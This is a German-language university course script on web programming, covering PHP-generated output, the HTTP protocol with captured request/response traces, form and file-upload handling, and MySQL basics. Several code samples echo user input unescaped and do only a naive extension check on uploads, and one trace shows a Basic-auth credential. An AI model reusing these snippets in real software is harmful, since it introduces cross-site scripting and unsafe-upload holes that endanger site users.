Ein Stylesheet, das von PHP aus erzeugt wird, hat den Vorteil, dass man Variablen verwenden kann, z.B. für die Definition von Farben, die mehrmals im Stylesheet verwendet werden sollen. In folgendem Beispiel wird einfach das ganze Stylesheet mit einem echo ausgegeben:
<?php $blau = "rgb(0,0,255)"; echo " body { padding: 3em; } h1 { color: $blau; } .box { background-color: $blau; } "; ?>

Für mehrzeilige Strings gibt es in PHP eine alternative Schreibweise, die hier sehr praktisch wäre:

MMT Webprogrammierung 2
<?php $blau = "rgb(0,0,255)"; echo <<<ENDE body { padding: 3em; } h1 { color: $blau; } .box { background-color: $blau; } ENDE; ?>

23

1.4.2

PHP erzeugt Bild

Das PHP-Programm kann auch Bilddaten ausgeben, diese können dann auf die bekannten Arten im Web verwendet werden:
<html> <head> <style> body { margin-left: 120px; background-image: url(drawbackground.php); background-repeat: repeat-y; } </style> </head> <body> <h1>Zufalls-Hintergrund</h1> <p>Das verwendete Hintergrundbild wurde von PHP erzeugt:</p> <p><img src="drawbackground.php" /> </body> </html>

Welches Bildformat verwendet wird (jpg, gif, png, …) wird wieder über den http-Header ContentType angekündigt. Die Befehle zur Bild-Erzeugung in Manipulation sind unter dem Stichwort „Image

Funktions“ in der PHP-Doku zu finden.

MMT Webprogrammierung 2
<?php // Waagrechte Linien zufälliger Länge header("Content-type: image/png"); $max = 100; // maximale Breite des Bildes $im = imagecreate($max, 100); $background_color = imagecolorallocate($im, 255, 255, 255); $drawing_color = imagecolorallocate($im, 255, 0, 255); imagefill($im, 0, 0, $background_color); $y=0; while( $y < 100 ) { $x = rand(0,$max); imageline($im, 0, $y, $x, $y, $drawing_color); $y=$y+2; } imagepng($im); // gibt das Bild aus imagedestroy($im); ?>

24

1.4.3

PHP erzeugt Variablen für Flash

Wenn PHP als „Backend“ für Flash verwendet wird kommt eine sehr einfache Form der Ausgabe zum Einsatz: die Variablennamen und Werte werden wie für eine URL encodiert und ausgegeben. So könnte der Output eines Counters so aussehen:
count=25856&date=2.Mai+2008&time=10:15

Unter dem Stichwort „URL Funktionen“ finden Sie in der PHP-Doku die Funktion
http_build_query() die hier weiterhilft.

1.4.4

PHP erzeugt XML

Bei der Zusammenarbeit mit Flash kommt auch XML zum Einsatz. Dies ist notwendig wenn komplexe Datenstrukturen übertragen werden sollen. Für eine Flash-Bildergalerie, die alle Bild-Dateien am Server darstellen soll, muss man zum Beispiel die Liste der Bilder übertragen:
<bilder> <bild imageurl="img/DSC_3461.jpg" /> <bild imageurl="img/DSC_3462.jpg" /> </bilder>

Das PHP-Programm dazu könnte so aussehen:

MMT Webprogrammierung 2
<?php header("Content-Type: application/xml"); $bilder = glob("*.jpg"); echo("<bilder>\n"); foreach( $bilder as $bild ) { echo("<bild imgurl='$bild' />\n"); } echo("</bilder>\n"); ?>

25

1.4.5

PHP leitet weiter

Ein PHP-Programm kann den Browser zu einer anderen URL weiterleiten. So kann zum Beispiel die Verarbeitung einer Bestellung (im ersten PHP-Programm) von der Darstellung des Bestellstatus (im zweiten PHP-Programm) getrennt werden:
<?php // hier passieren wichtige Dinge ... header("Location: status.php"); exit; /* fertig, nichts weiter ausgeben! */ ?>

MMT Webprogrammierung 2

26

2.

HTTP

Der Datenaustausch zwischen Web-Formular und PHP-Programm mit den Methoden GET und POST wird vorgestellt.

2.1 Ziele
Was Sie alle wissen sollten
• Wie http-Request und http-Response prinzipiell aufgebaut sind, dass GET und POST die wichtigsten Methden des REquest sind, dass 200 und 404 die wichtigsten Status-Codes des Responds sind • • • Die http-Header die für Umleitung und Authentisierung notwendig sind Wie Sie mit der PHP-Funktion header() in das HTTP-Protokoll eingreifen können. Dass die URL eines PHP-Programms eine öffentliche Schnittstelle ist: fremde Menschen werden mit böse Absicht verschiedene Parameter ausprobieren! Fremde Menschen werden in guter Absicht unerwartete Parameter eingeben um neue, nicht bedachte Funktionen zu erzielen. • Dass die Parameter über die superglobalen Arrays $_GET, $_POST (und $_REQUEST) im PHPProgramm zur Verfügung stehen.

Was Sie alle können sollten
• • Mit dem Firefox-AddOn Live http Headers oder mit Firebug HTTP abhören. In einem PHP-Programm Daten von einem Web-Formular entgegen nehmen und prüfen bevor sie weiter verarbeitet werden. • Ein Webformular so gestalten, dass „richtige“ Eingaben erhalten bleiben wenn Fehlermeldungen angezeigt werden

2.2

TCP/IP und DNS

Um das Protokoll des Web zu verstehen erst ein paar Grundsätzliche Informationen zur Funktionsweise des Internet. Genaueres im 3.Semester, in der Lehrveranstaltung „Multimediale Netwerke & IT Sicherheit“. Das Internet ist ein weltweites Computernetzwerk, oder besser: ein Netzwerk von Netzwerken. Es sind verschiedene Computer daran angeschlossen: PCs mit Betriebssystem Windows oder Linux,

MMT Webprogrammierung 2

27

Macs, UNIX-Workstations, und noch viele mehr. Die einzelnen Netze sind sehr unterschiedlich: Kupferleitungen, Glasfaserleitungen, Satelliten-Verbindungen, Ethernet, Funkstrecken. Die Besitzverhältnisse sind kompliziert: die Leitungen und Computer gehören verschiedenen Firmen, Universitäten, Schulen, Vereinen, Privatpersonen. Was hält das Internet dann zusammen? Das Internet Protokoll. Aufbauend auf die Grund-Netze (z.B. Ethernet) muss jeder Computer am Internet (genannt „Host“) diese Protokoll-Familie implementieren. Zwischen den Netzen vermitteln Router die Pakete von einem Netz zum nächsten. IP-Adressen: Die eindeutigen Adressen für Hosts am Internet werden zentral verwaltet. Die Internet Assigned Numbers Authority (IANA) hat diese Aufgabe an Organisationen auf den verschiedenen Kontinenten verteilt, in Europa an aas Réseaux IP Européens Network Coordination Centre (RIPE NCC). RIPE vergibt die Adressen an die Internet-Provider in Europa. In der Whois-Datenbank2 von RIPE kann man die „Besitzer“ von IP-Adressen herausfinden. IP – das Internetprotokoll: Der Host teilt die zu sendenden Daten in einzelne Pakete und versieht jedes Pakt mit der Absender- und Zieladresse (IP-Adressen, 4 Byte). Der Host selbst kennt nur sein Standard-Gateway (= der nächste Router) und das eigene Netzwerk. Über das eigene Netzwerk schickt er das Paket an das Standard-Gateway. Der Router nimmt das Paket auf dem einen Netzwerk entgegen und entscheidet auf Grund der Adressen auf welchem Netzwerk und an welchen Router er das Paket weiterleitet. Beim Ziel-Host langen die Pakete ein – es gibt aber keine Garantie, dass alle ankommen oder dass sie in der richtigen Reihenfolge ankommen. TCP - Transmission Control Protocol: TCP bietet zusätzlich zur Datenübertragung die Sicherheit, dass Pakete nicht unterkannt verloren gehen und dass sie – falls sie ankommen – in der richtigen Reihenfolge ankommen. Dazu wird der Datenstrom wieder in IP-Pakete zerlegt, diese werden aber nummeriert bevor sie abgesendet werden. Die Adressierung erfolgt über IP-Adresse plus Port-Nummer. Der Ziel-Host prüft die Reihenfolge der Pakete und meldet zurück falls Pakete fehlen. Aus ProgrammierSicht erhält man also entweder die Daten in richtiger Reihenfolge oder eine Fehlermeldung. DNS – Domain Name System: Das Domain Name System ist eine verteilte Datenbank die „hübsche Namen“ für Hosts speichert. Z.B. ist dort zu multimediatechnology.at die IP-Adresse 193.170.119.79 gespeichert. Viele Namen verweisen übrigens auf die gleiche IP-Adresse. Auf jedem Host ist die IPAdresse des nächsten Domain Name Servers gespeichert. So kann der Host einen „domain name lookup“ machen: er fragt seinen DNS-Server „was ist die IP-Adresse von x.y.z“ und erhält als Antwort die IP-Adresse. Der DNS-Server übernimmt dabei die Arbeit eventuell bei mehreren anderen DNSServern nachzufragen. Auch die Top-Level-Domains (.com, .at, .de, …) werden von IANA verwaltet und können über Whois abgefragt werden. Für die Domain .at ist die Firma nic.at zuständig.

2

http://www.db.ripe.net/whois

MMT Webprogrammierung 2

28

2.3

HTTP

HTTP ist in RFC 2616 definiert. HTTP baut auf TCP auf, d.h. die hier dargestellten Daten werden über eine TCP-Verbindung zwischen Client und Server übertragen. Im ersten Semester wurde HTTP schon einmal grob vorgestellt; nun werden wir HTTP genauer betrachten.

2.3.1

Ablauf im Überblick

Egal ob der Vorgang durch das Eintippen einer URL oder durch das Anklicken eines Links gestartet wird — das Laden einer Webseite über HTTP funktioniert immer gleich. 1. Der Browser analysiert die URL: falls Sie eine IP-Adresse enthält geht’s weiter zum nächsten Schritt. Falls sie einen Domain Namen enthält wird dieser mittels DNS-Lookup in die entsprechende IP-Adresse übersetzt. 2. Der Browser baut eine TCP-Verbindung zum Server auf (Default: Port 80) 3. Der Browser sendet über die TCP-Verbindung einen HTTP-Request; dieser besteht aus einer ersten Zeile, einem Header und manchmal einem Body. 4. Der Webserver nimmt den Request entgegen und analysiert ihn. Meistens interpretiert er ihn als Aufforderung, eine bestimmte Datei aus dem Dateisystem zu lesen. 5. Der Webserver schickt über die TCP-Verbindung einen HTTP-Response an den Browser, dieser besteht aus einem Statuscode, z. B. „200 OK\n\n“, einem Header und dem Inhalt des angeforderten Dokuments. 6. Der Browser nimmt das Dokument in Empfang, stellt es geeignet dar, und beendet die TCPVerbindung. Dieser einfache Ablauf kann durch die Verwendung von Proxies und Caches sowie durch das wiederholte Abrufen von Dokumenten vom selben Server komplizierter werden — das ignorieren wir aber erst einmal.

2.3.2

Aufbau von Request und Response

Jede Anfrage des Clients und jede Antwort des Servers besteht aus einer ersten Zeile mit besonderer Bedeutung, einem Header und einem Body. Header und Body funktionieren ähnlich wie bei einer EMail: Hier ein Beispiel für einen Request:
Erste Zeile Beliebig viele Header-Zeilen
GET /rezensionen/list.php3?no=20 HTTP/1.1 Host: www.biblio.at

MMT Webprogrammierung 2
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

29

Eine leere Zeile trennt Header und Body (\n\n, hier unsichtbar) Body (leer)

Die erste Zeile einer Client-Anfrage besteht aus: Methode, URL-Fragement und HTTPVersionsnummer. Die meist-verwendete Methode ist GET. Sie erinnern sich an das erste Semester: bei Web-Formularen muss man die Methode angeben, mit der die Daten an den Server übertragen werden sollen. Das ist diese Methode. Hier ein Beispiel für eine Server-Antwort:
Erste Zeile Beliebig viele Header-Zeilen
HTTP/1.0 200 OK Date: Sat, 27 Apr 2002 05:52:57 GMT Server: Apache/1.3.9 (Unix) Debian/GNU Content-Type: text/html

Eine leere Zeile trennt Header und Body (\n\n, hier unsichtbar) Body des HTTP-Response enthält das gesamte Dokument
<!DOCTYPE HTML tional//EN"> PUBLIC "-//W3C//DTD HTML 4.0 Transi-

<html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Rezensionsdatenbank des &Ouml;sterreichischen BibliotheksWerkes</title> <link rel="Stylesheet" href="rezensionen.css" /> </head><body>nix</body></html>

Die erste Zeile der Server-Antwort besteht aus der HTTP-Versionsnummer, dem Statuscode und einem erklärenden Text zum Statuscode, der aber nicht standardisiert ist. Die wichtigsten Statuscodes sind 200 (ok), 404 (not found), 403 (forbidden). Header-Zeilen gibt es sehr viele; relativ wenige davon werden von Clients und Servern wirklich beachtet.
Host: www.biblio.at

Wichtig wenn der Server unter mehreren Domain Names (aber nur einer IPAdresse) erreichbar ist.

Request

MMT Webprogrammierung 2
User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)

30
Selbstdarstellung des Clients: welcher Browser, welche Version. Die meisten Clients lügen, und behaupten sie wären Mozilla, erst in der Klammer folgt die richtige Angabe. Woher kommt der Client? URL der vorigen Seite—falls von dort ein Link hierher verfolgt wurde oder ein FORM. Kann deaktiviert werden! Datum und Uhrzeit am Server

2.3.3

Wie können Sie HTTP beobachten? Entweder mit einem allgemeinen Netzwerk-Sniffer wie Ethereal/Wireshark3 oder mit der Firefox-Extension Live HTTP Headers4.

Die folgenden Anwendungsbeispiele wurden mit Live HTTP Headers mitgeschnitten.

Request Request Response Response Response
3 4

Referer: http://my.app.at/form.html

Date: Sat, 27 Apr 2002 05:52:57 GMT

Server: Apache/1.3.9 (Unix) Debian/GNU

Selbstdarstellung des Servers

Content-Type: text/html

MIME-Type des im Body gelieferten Dokuments

HTTP abhören

Abbildung 11: HTTP abhören mit Wireshark (links) und Live HTTP Headers (rechts)

http://www. wireshark. org/ http://livehttpheaders. mozdev. org/

MMT Webprogrammierung 2

31

2.3.4

Seite laden oder Formulardaten senden mit GET

Die Methode GET wird bei den meisten HTTP-Anfragen verwendet - sowohl bei normalen Links als auch beim Senden von Formulardaten mit GET. Die URL kann dabei ein Fragezeichen gefolgt von Parametern und Werten enthalten. Request = Client an Server Response = Server an Client
GET /rezensionen/list.php3?no=20 HTTP/1.1 Host: www.biblio.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

HTTP/1.0 200 OK Date: Sat, 27 Apr 2002 05:52:57 GMT Server: Apache/1.3.9 (Unix) Debian/GNU Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"> <TITLE>Rezensionsdatenbank des &Ouml;sterreichischen BibliotheksWerkes</TITLE> <LINK REL=Stylesheet HREF=rezensionen.css> </HEAD>

Die Länge der übertragenen Daten aus dem Formular ist hier begrenzt durch die Länge der URL. Für größere Datenmengen (z. B. beim Upload von Dateien) gibt es die Methode Post.
Die Header, die mit Accept beginnen, können (laut Standard) dem Aushandeln von Sprache, Datentyp, Encoding dienen; werden aber von Servern und Clients nur teilweise beachtet. Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 bedeutet laut Standard, daß der Client das Dokument lieber als HTML als als Plain Text erhalten würde. Im realen Web wird aber unter einer URL immer nur ein Dokumententyp angeboten. Wenn man eine PDF-Version der gleichen Information anbietet, dann geschieht dies unter einer anderen URL. Accept-Language würde dem Aushandeln der Sprache dienen. Dazu müssten die UserInnen aber im Browser die Sprach-Präferenz konfigurieren:

MMT Webprogrammierung 2

32

Abbildung 12: Festlegen der Sprach-Präferenz im Browser Firefox

Da aber kaum jemand diese Konfiguration vornimmt wird die Sprach-Aushandlung kaum verwendet. Einziges mir bekanntes Beispiel einer Webseite die unter der gleichen URL in verschiedenen Sprachen erhältlich ist ist die Homepage von Debian:

Abbildung 13: Homepage von Debian, verschiedene Sprachen bei gleicher URL

2.3.5

Senden von Formulardaten mit Post

Bei POST werden die Daten aus dem Formular nicht in der URL, sondern im HTTP-Body der Anfrage übertragen. Die Codierung (kaufmännisches-Und zwischen den namen=wert-Paaren, + statt Leerzeichen, %-Schreibweise für Sonderzeichen) bleibt gleich. Hier gibt es keine Beschränkung der Länge.
Request = Client an Server POST /rezensionen/list.php3 HTTP/1.1 Host: www.biblio.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Referer: http://www.biblio.at/rezensionen/formular.htm Content-Type: application/x-www-form-urlencoded Content-Length: 129 no=20&limit=1&katalog=all&isbn=&nachname=Jellinek&vornam e=&titel=&schlagwort1=&schlagwort2=&Bool=AND&verl=&von=& bis=&submit=SUCHE

Die Antwort des Servers unterscheidet sich nicht zwischen GET und POST (außer Sie haben das in PHP absichtlich so programmiert).

MMT Webprogrammierung 2

33

2.3.6

Umleitung an neue URL

Mit dem Statuscode 301 kann der Server anzeigen, dass die Seite an eine neue URL übersiedelt ist. Der Webbrowser schickt dann sofort eine Anfrage an die neue URL, die LeserIn bemerkt so eine Weiterleitung meist gar nicht. (Wie auf Seite 25 beschrieben, können Sie diese Umleitung von PHP aus mit dem header-Befehl auslösen)
Client an Server Server an Client GET / HTTP/1.1 Host: www.rezensionen.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

HTTP/1.0 301 Moved Permanently Date: Sat, 27 Apr 2002 05:52:26 GMT Server: Apache/1.3.9 (Unix) Debian/GNU Location: http://www.biblio.at/rezensionen/ Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>301 Moved Permanently</TITLE> </HEAD><BODY> <H1>Moved Permanently</H1> The document has moved <A HREF="http://www.biblio.at/rezensionen/">here</A>.<P> </BODY></HTML> GET /rezensionen/ HTTP/1.1 Host: www.biblo.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66

und so weiter.

MMT Webprogrammierung 2

34

2.3.7

Authentisierung nach RFC 2617

Der Webserver kann so konfiguriert werden, dass er Dokumente nur nach Eingabe von Username und Passwort liefert. Der Browser zeigt dafür ein Eingabefenster an:

Abbildung 14: Eingabefenster für HTTP Authentisierung in verschiedenen Browsern

Falls eine Authentisierung über diese Methode stattgefunden hat, finden Sie den Usernamen in PHP in der Variable $_SERVER['PHP_AUTH_USER']. Auf Ebene des HTTP-Protokolls betrachtet funktioniert diese Authentisierung wie folgt: bei der ersten Anfrage des Clients schickt der Server einen Status-Code 401 (nicht autorisiert). Client an Server Server an Client
GET /pr/ HTTP/1.1 Host: www.sbg.ac.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66 HTTP/1.0 401 Unauthorized Date: Sat, 27 Apr 2002 06:05:08 GMT Server: Apache/1.3.22 (Unix) WWW-Authenticate: Basic realm="unineu" Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>401 Authorization Required</TITLE>

Daraufhin zeigt der Browser das Passwort-Eingabefenster an. Nach Eingabe von Username und Passwort schickt der Browser die gleiche Anfrage erneut, diesmal aber mit der zusätzlichen Header-Zeile
Authorization. In dieser Zeile werden Username und Passwort (leicht verschlüsselt) mitgeschickt.

Wenn Username und Passwort stimmen, schickt der Server eine positive Antwort und das Dokument.

MMT Webprogrammierung 2

35

Der Browser wird bei allen weiteren Anfragen an diesen Server ebenfalls die Authorization-Zeile mitschicken.
GET /pr/ HTTP/1.1 Host: www.sbg.ac.at User-Agent: Mozilla/5.0 (Win98; de-AT) Gecko/20020311 Accept: text/html;q=0.9,text/plain;q=0.8,*/*;q=0.1 Accept-Language: de-at, de;q=0.66, en-us;q=0.33 Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-15, utf-8;q=0.66, *;q=0.66 Authorization: Basic dHI6cHJyMDBy HTTP/1.0 200 OK Date: Sat, 27 Apr 2002 06:05:11 GMT Server: Apache/1.3.22 (Unix) Content-Type: text/html; charset=iso-8859-1 <html lang="de"> <head> <title>Universit&auml;t Salzburg - B&uuml;ro f&uuml;r Public Relations</title>

2.3.8

HTTPS

HTTPS ist HTTP über Secure Socket Layer (SSL) — d.h. auf Ebene der TCP-Verbindung werden alle übertragenen Daten verschlüsselt. Außerdem bietet SSL die Möglichkeit, dass sich der Server und der Client mit einem Zertifikat ausweisen. Ob HTTPS oder HTTP verwendet wird, hängt von der Konfiguration des Server ab. Wenn Sie nur Webspace in „Untermiete“ benutzen (wie auf multimediatechnology.at), können Sie HTTPS nicht aktivieren. Die Verschlüsselung und Entschlüsselung des gesamten Verkehrs braucht CPU-Zeit — der Webserver kann also weniger Anfragen bedienen als mit HTTP. Eine Möglichkeit diese Belastung vom Webserver „fernzuhalten“ ist die Terminierung von SSL auf einem anderen Rechner.

2.3.9

Proxies

Das HTTP-Protokoll sieht die Möglichkeit von Proxies vor. Ein Proxie ist eine „Zwischenstation“ die HTTP-Verkehr weitergibt, der Proxy agiert also auf der einen Seite als HTTP-Server, auf der anderen Seite als HTTP-Client. Im Browser kann ein Proxie konfiguriert werden:

MMT Webprogrammierung 2

36

Abbildung 15: Proxy-Konfiguration in Firefox: Extras - Einstellungen - Erweitert - Netzwerk – Verbindung

Ist ein Proxy konfiguriert dann baut der Browser die HTTP-Verbindung nicht direkt zum Zielrechner auf, sondern zum Proxy, und verändert die Form der ersten Zeile der HTTP-Anfrage: die vollständige URL wird angegebe:
GET http://www.sbg.ac.at/pr/ HTTP/1.1

Proxies können gleichzeitig als Cache fungieren: Anfragen und Antworten werden gespeichert; erfolgt die gleiche Anfrage noch einmal, kann die gespeicherte Antwort verwendet werden.

2.4 Daten aus Web-Formularen verarbeiten
Sie können bereits HTML-Formular erstellen und wissen wie bei Verwendung der Methode GET aus den Daten eine URL konstruiert wird: http://localhost/php/test.php?anzahl=4&adresse=Jakob+Haringer+Str.1%0D%0A5020+Salzburg action 1.Eingabe 2.Eingabe

Sie wissen auch, dass das Webformular nicht notwendig ist um diese GET-Anfrage zu erzeugen. Die Google-Suche nach „Schokolade“ hat folgende URL:
http://www.google.com/search?q=Schokolade

Sie können diese URL einfach direkt in den Browser eintippen, ohne das Eingabeformular von Google zu verwenden. Sie können diese URL in den Lesezeichen/Favoriten Ihres Browsers speichern oder in einem Link verwenden:
<a href="http://www.google.com/search?q=schokolade">Suche nach Schokolade</a>

Wenn Sie eine Web-Applikation erstellen müssen Sie auch darauf gefasst sein, dass die UserInnen nicht nur die Web-Formulare verwenden sondern auch URLs konstruieren und aufrufen.

MMT Webprogrammierung 2

37

2.4.1

Daten senden mit Methode POST

Bei Verwendung der Methode GET werden die gesamten Daten in der URL codiert. Dadurch ergibt sich eine Beschränkung der Datenmenge: Webserver verarbeiten nur URLs bis zu einer bestimmten Länge. Die Methode POST umgeht diese Beschränkung. Dabei werden die Daten gleich codiert wie bei GET, aber im Body des HTTP-Requests gesendet. POST ermöglicht damit das Einsenden von ganzen Dateien, dabei muss auch noch das enctype Attribut des Form-Tags gesetzt werden:
<form action="upload.php" method="post" enctype="multipart/form-data" > Neues Bild zum hochladen in den Ordner <a href='img/'>img</a>: <input type="file" name="bild"> <input type="submit" value="hinaufladen"> </form>

Der Input-Tag mit dem Typ „file“ wird vom Browser als Textfeld plus Button dargestellt. Wird der Button gedrückt dann erscheint ein Datei-Auswahl-Dialog, wie in Abbildung 16 gezeigt.

Abbildung 16: Webformular mit Datei-Upload

2.4.2

Daten prüfen

Die Daten aus einem Web-Formular werden vom PHP-Interpreter verarbeitet, die URL-Codierung aufgelöst und die Daten dann in mehreren superglobalen5 Arrays zur Verfügung gestellt: $_GET Dieses Array enthält die Parameter einer GET-Anfrage.

5

Superglobal bedeutet, dass diese Variablen auch ohne global innerhalb von Funktionen sichtbar

sind

MMT Webprogrammierung 2

38

$_POST

Dieses Array enthält die Parameter einer POST-Anfrage.

$_REQUEST Dieses Array kombiniert die Daten aus $_GET und $_COOKIE und $_POST. Besser die spezifischen Arrays verwenden! $_FILE Enthält Daten von hochgeladenen Dateien

Warnhinweis: In frühen PHP Versionen konnte man noch direkt die Variable $nr verwenden um den Wert aus einem Eingabefeld <input name="nr" /> zu lesen — das funktioniert heute nicht mehr! Um die Bestellung aus der URL
http://localhost/php/test.php?anzahl=4&adresse=Jakob+Haringer+Str.1%0D%0A5020+Salzburg

zu verarbeiten, könnte folgendes Programm verwendet werden:
<?php $anzahl = $_GET['anzahl']; $adresse = $_GET['adresse']; echo("<p>Ihre Bestellung über $anzahl Flugzeuge ist eingelangt</p>"); echo("<p>Die Flugzeuge werden binnen 1 Monat an $adresse geliefert</p>"); ?>

Dabei wird aber die Eingabe nicht geprüft. Eine bessere Version des Programmes prüft vorher jede Eingabe und gibt entsprechende Fehlermeldungen aus:
<?php $anzahl = $_GET['anzahl']; $adresse = $_GET['adresse']; $ok = true; // zeigt ob alle Eingaben ok sind $fehler = array(); // sammelt alle Fehlermeldungen if( (int) $anzahl != $anzahl or $anzahl < 1) { $ok = false; $fehler[] = "Bitte geben Sie die Anzahl der Flugzeuge ein!"; } if( strlen( $adresse ) < 5 ) { $ok = false; $fehler[] = "Bitte geben Sie die vollständige Lieferadresse an!"; } if ( ! $ok ) { echo("<p>Ihre Bestellung kann derzeit nicht bearbeitet werden:</p>"); echo("<ol>"); foreach( $fehler as $fehler_text ) { echo("<li>$fehler_text</li>"); } echo("</ol>"); echo("<p>Bitte gehen Sie zurück und bessern Sie die Bestellung aus."); } else { echo("<p>Ihre Bestellung über $anzahl Flugzeuge ist eingelangt</p>"); echo("<p>Die Flugzeuge werden binnen 1 Monat an $adresse geliefert</p>"); } ?>

MMT Webprogrammierung 2

39

2.4.3

Datei Upload

Die Verarbeitung von hochgeladenen Dateien ist wesentlich komplizierter: Die Dateien werden vom PHP-Interpreter temporär gespeichert. Das PHP-Programm kann die Dateien dann an einen permanenten Speicherort kopieren (falls das die Zugriffsrechte erlauben) Die Details zu den Hochgeladenen Dateien sind im Array $_FILES gespeichert, in folgendem Beispiel hatte das Eingabefeld den Namen „bild“:
$_FILES['bild']['name'] $_FILES['bild']['type']

Der Originalname der Datei am Client. Der „Mime Type“ der Datei – falls der Browser diese Information liefert. Zum Beispiel „image/gif“. Achtung: nicht zuverlässig! Größe der hochgeladenen Datei in Byte. Der Dateiname der temporären Datei. Fehlercode bei Upload, 0 bedeutet dass kein Fehler aufgetreten ist. Siehe PHP-Doku.

$_FILES['bild']['size'] $_FILES['bild']['tmp_name'] $_FILES['bild']['error']

<?php $uploaddir = '/home/urstein/stud/0/fhs30000/public_html/uploadtest/img/'; $filename = basename($_FILES['bild']['name']); $ext = substr($filename, -4); if( $ext != '.jpg' ) { die("ich darf nur jpg-Dateien hochladen, nicht " . substr($filename, -3) ); } $uploadfile = $uploaddir . $filename; if (move_uploaded_file($_FILES['bild']['tmp_name'], $uploadfile)) { echo "Datei erfolgreich hochgeladen nach <a href='img/'>img/</a>\n"; } else { echo "Problem beim Speichern der Datei.\n"; } echo '<pre>debugging info:'; print_r($_FILES); print '</pre>'; ?>

Achtung: Sie müssen den Ordner img erstellen und ihm geeignete Zugriffsrechte zuweisen, damit der Webserver (= ein anderer Account) hinein-schreiben darf!

MMT Webprogrammierung 2

40

2.5

PHP und E-Mail

Die Funktion zum Senden von E-Mail heißt mail:
mail( "bjelli@horus.at", "Just another SPAM", "Das ist der Text in der E-Mail" );

Dazu passend wieder der Trick, wie man viel Text in einen langen String schreiben kann:
$text <<<Ende Lieber Newsletter-Kunde! wir freuen uns, dass Sie unseren Newsletter zum Thema $thema abonniert haben. Ende; mail("bjelli@horus.at", "Just another $thema-Newsletter", $text);

Wie die Mail vom PHP-Interpreter versandt wird, ist in der PHP- Konfiguration festgelegt. Die Konfigurations-Datei hat den Namen php.ini. Wenn man PHP auf dem eigenen Computer betreibt, kann man den SMTP-Server des Providers eintragen um die ausgehende Mail über diesen Server zu versenden:
;;;;;;;;;;;;;;;;;;; ; Module Settings ; ;;;;;;;;;;;;;;;;;;; [mail function] SMTP = mail.provider.at sendmail_from = someuser@fh-salzburg.ac.at

Der Befehl phpinfo() gibt die ganze Konfiguration von PHP aus. Hier kann man auch die MailKonfiguration nachlesen:

Abbildung 17: Konfiguration von PHP für Mail

MMT Webprogrammierung 2

41

MMT Webprogrammierung 2

42

3.

Webapplikationen mit MySQL

3.1 Ziele
Was Sie wissen sollten
• Wie Sie von PHP aus auf Ihre MySQL-Datenbank zugreifen können: Aufbau der Verbindung, query, fetch, Beenden der Verbindung. • Dass das Filtern der Daten in der Datenbank passieren sollte und möglichst wenige Daten nach PHP übertragen werden sollten. • Wie Datensatz in der Datenbank und Array in PHP zusammenhängen.

Was Sie können sollten
• In einer Webapplikation mit Datenbank kleine Veränderungen und Verbesserungen vornehmen.

3.2 PHP und MySQL
MySQL ist die relationale Datenbank, die bei gemietetem Webspace am öftesten angeboten wird. Hier wird nicht die Funktionsweise einer relationalen Datenbank erklärt (siehe Lehrveranstaltung im 1.Semester), sondern nur die Besonderheiten von MySQL und die für Web-Applikationen wichtigen Aspekte.

3.2.1

MySQL Installation, Wiederholung, Dokumentation

MySQL ist im Paket XAMPP enthalten. (Man könnte die Datenbank auch separat von mysql.com herunterladen und installieren.) In der Standardinstallation ist ein Administrator-Account „root“ ohne Passwort vorhanden. Die MySQL-Shell wird wie folgt gestartet:
> mysql –u username –p datenbankname Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2 to server version: 5.0.27-community-nt Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql>

Ein Beispiel zur Orientierung in der Datenbank des mma-Portfolios
> mysql –u mmtuser –p mma

Das Passwort lautet „geheim!“. Die weiteren Code-Beispiele sind alle ein bisschen gekürzt.

MMT Webprogrammierung 2 Show Tables zeigt alle Tabellen in der aktuellen Datenbank:

43

mysql> show tables; +---------------+ | Tables_in_mma | +---------------+ | macht | | media | | media_werk | | person | | staff | | student | | werk | +---------------+ 24 rows in set (0.00 sec)

Describe zeigt den Aufbau einer bestimmten Tabelle:
